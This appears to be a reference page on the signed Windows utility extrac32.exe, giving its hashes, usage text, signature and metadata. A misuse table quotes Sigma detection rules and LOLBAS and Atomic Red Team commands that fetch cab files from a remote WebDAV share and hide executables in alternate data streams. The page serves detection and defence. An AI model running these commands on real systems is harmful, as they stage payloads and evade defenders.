extrac32.exe

File Path: C:\Windows\SysWOW64\extrac32.exe
Description: Microsoft CAB File Extract Utility

Hashes

Type	Hash
MD5	`BAD0EA2D88113DA8F319BD9A991CE090`
SHA1	`80500C3A180C03B28418FA30FBF79CE1CF35AB32`
SHA256	`FA7417FCC312A734880BEC3A890488A8F90ED4CF0A55F56BC8A8C065521817DC`
SHA384	`6FEBD890EC70E7414254926DBB220F07DF957943F1D2AFE0944A5182E3813BE4049EA3BA0B6FD1C833F778E3E53991D3`
SHA512	`D974072483D321C6E28701CD728A7B26A097E2420D047298B3527B9C9B00AE124CD4A4999644EE67B9C16CD3FA562064813ADAEA3D033BB1A7FDC97236242B6F`
SSDEEP	`768:NYDhe6vhfg9CcoCvzGrLQijvOse4TbZ/nZp7sOuFl8D:NOheqpCnogijGsBTRfuFl8D`

Runtime Data

Usage (stdout):

Microsoft (R) Cabinet Extraction Tool
Copyright (c) Microsoft Corporation. All rights reserved..

EXTRACT [/Y] [/A] [/D | /E] [/L dir] cabinet [filename ...]
EXTRACT [/Y] source [newname]
EXTRACT [/Y] /C source destination

  cabinet  - Cabinet file (contains two or more files).
  filename - Name of the file to extract from the cabinet.
             Wild cards and multiple filenames (separated by
             blanks) may be used.

  source   - Compressed file (a cabinet with only one file).
  newname  - New filename to give the extracted file.
             If not supplied, the original name is used.

  /A         Process ALL cabinets.  Follows cabinet chain
             starting in first cabinet mentioned.
  /C         Copy source file to destination (to copy from DMF disks).
  /D         Display cabinet directory (use with filename to avoid extract).
  /E         Extract (use instead of *.* to extract all files).
  /L dir     Location to place extracted files (default is current directory).
  /Y         Do not prompt before overwriting an existing file.

Signature

Status: Signature verified.
Serial: 33000000BCE120FDD27CC8EE930000000000BC
Thumbprint: E85459B23C232DB3CB94C7A56D47678F58E8E51E
Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

Original Filename: extrac32.exe.mui
Product Name: Microsoft Windows Operating System
Company Name: Microsoft Corporation
File Version: 5.00 (rs1_release.160715-1616)
Product Version: 5.00
Language: English (United States)

Possible Misuse

The following table contains possible examples of extrac32.exe being misused. While extrac32.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source	Source File	Example	License
sigma	proc_creation_win_lolbas_extrac32.yml	`title: Suspicious Extrac32 Execution`	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32.yml	`description: Download or Copy file with Extrac32`	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32.yml	`- https://lolbas-project.github.io/lolbas/Binaries/Extrac32/`	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32.yml	`- extrac32.exe`	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32_ads.yml	`title: Suspicious Extrac32 Alternate Data Stream Execution`	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32_ads.yml	`- https://lolbas-project.github.io/lolbas/Binaries/Extrac32/`	DRL 1.0
sigma	proc_creation_win_lolbas_extrac32_ads.yml	`- extrac32.exe`	DRL 1.0
LOLBAS	Extrac32.yml	`Name: Extrac32.exe`
LOLBAS	Extrac32.yml	`- Command: extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe`
LOLBAS	Extrac32.yml	`- Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe`
LOLBAS	Extrac32.yml	`- Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt`
LOLBAS	Extrac32.yml	`- Command: extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe`
LOLBAS	Extrac32.yml	`- Path: C:\Windows\System32\extrac32.exe`
LOLBAS	Extrac32.yml	`- Path: C:\Windows\SysWOW64\extrac32.exe`
atomic-red-team	T1564.004.md	extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe	MIT License. © 2018 Red Canary